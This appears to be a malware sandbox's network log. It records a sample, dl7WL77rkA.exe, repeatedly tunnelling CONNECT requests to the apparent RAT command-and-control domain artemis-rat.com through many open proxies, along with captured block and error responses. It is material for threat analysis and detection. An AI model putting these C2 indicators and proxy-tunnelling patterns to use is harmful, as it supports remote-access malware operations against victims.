Mar 11, 2024 03:30:46.702018023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.112988949 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1760	192.168.2.5	54898	194.4.50.60	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.915045977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1761	192.168.2.5	54807	196.1.95.124	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.915334940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.701858997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905371904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.092897892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.389569044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.708441973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.093468904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1762	192.168.2.5	54899	23.19.244.109	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.916049004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1763	192.168.2.5	54790	116.106.105.55	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.920559883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1764	192.168.2.5	54068	34.93.157.87	21802	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.921019077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.998749971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.092732906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.092895031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1765	192.168.2.5	54921	162.241.158.204	44607	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.939358950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592438936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.202100039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1766	192.168.2.5	54908	38.162.3.217	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.940078974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.362363100 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1767	192.168.2.5	50824	162.241.46.40	62592	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.940386057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.998791933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.092726946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.092890024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1768	192.168.2.5	54928	38.162.15.152	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.943088055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.378967047 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1769	192.168.2.5	54717	113.204.4.142	10800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.944574118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1770	192.168.2.5	54832	45.120.178.197	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.953032017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1771	192.168.2.5	54968	38.162.27.53	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.986465931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.416714907 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1772	192.168.2.5	54838	37.187.77.58	37920	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.986929893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702020884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.681914091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.514621973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1773	192.168.2.5	54854	211.222.252.187	8197	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.986929893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1774	192.168.2.5	50703	14.241.203.46	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.987593889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1775	192.168.2.5	54707	102.132.201.202	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.988262892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.437073946 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:46 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1776	192.168.2.5	54794	45.124.184.13	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.989629030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1777	192.168.2.5	50687	148.72.212.183	45012	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.990160942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1778	192.168.2.5	54863	118.218.126.54	9400	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.990170002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.302721024 CET	1286	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Server: Zscaler/6.2 Cache-Control: no-cache Access-Control-Allow-Origin: * Content-length: 13597 Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 63 6c 6f 73 65 64 70 72 6f 78 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 6c 6f 75 64 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 37 35 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 34 33 30 70 78 3b 0a 7d 0a 2e 70 67 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 74 6f 70 3a 30 3b 0a 62 6f 74 74 6f 6d 3a 30 3b 0a 6c 65 66 74 3a 30 3b 0a 72 69 67 68 74 3a 30 3b 0a 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 0a 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 0a 7d 0a 2e 70 67 3a 62 65 66 6f 72 65 20 7b 0a 63 6f 6e 74 65 6e 74 3a 22 22 3b 0a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 68 65 69 67 68 Data Ascii: ...# Id: closedproxy.html 285144 2021-06-16 05:02:06Z szhang --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta name="description" content="Zscaler makes the internet safe for businesses by protecting their employees from malware, viruses, and other security threats."><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Internet Security by Zscaler</title><script language="JavaScript">var defLang = 'en_US'</script>...<img alt="Zscaler" src="https://login.zscloud.net/img_logo_new1.png">--><style type="text/css">body {background-color:#e3e3e3;font-family:Arial, sans-serif;font-size:12px;color:#4B4F54;}a {cursor:pointer;text-decoration:none;color:#009dd0;}table {margin-top:10px;}td table {margin-top:0;text-align:center;}img {max-height:75px;max-width:430px;}.pg {position:absolute;top:0;bottom:0;left:0;right:0;overflow-x:hidden;white-space:nowrap;}.pg:before {content:"";display:inline-block;heigh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1779	192.168.2.5	54966	159.65.245.255	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.990592003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
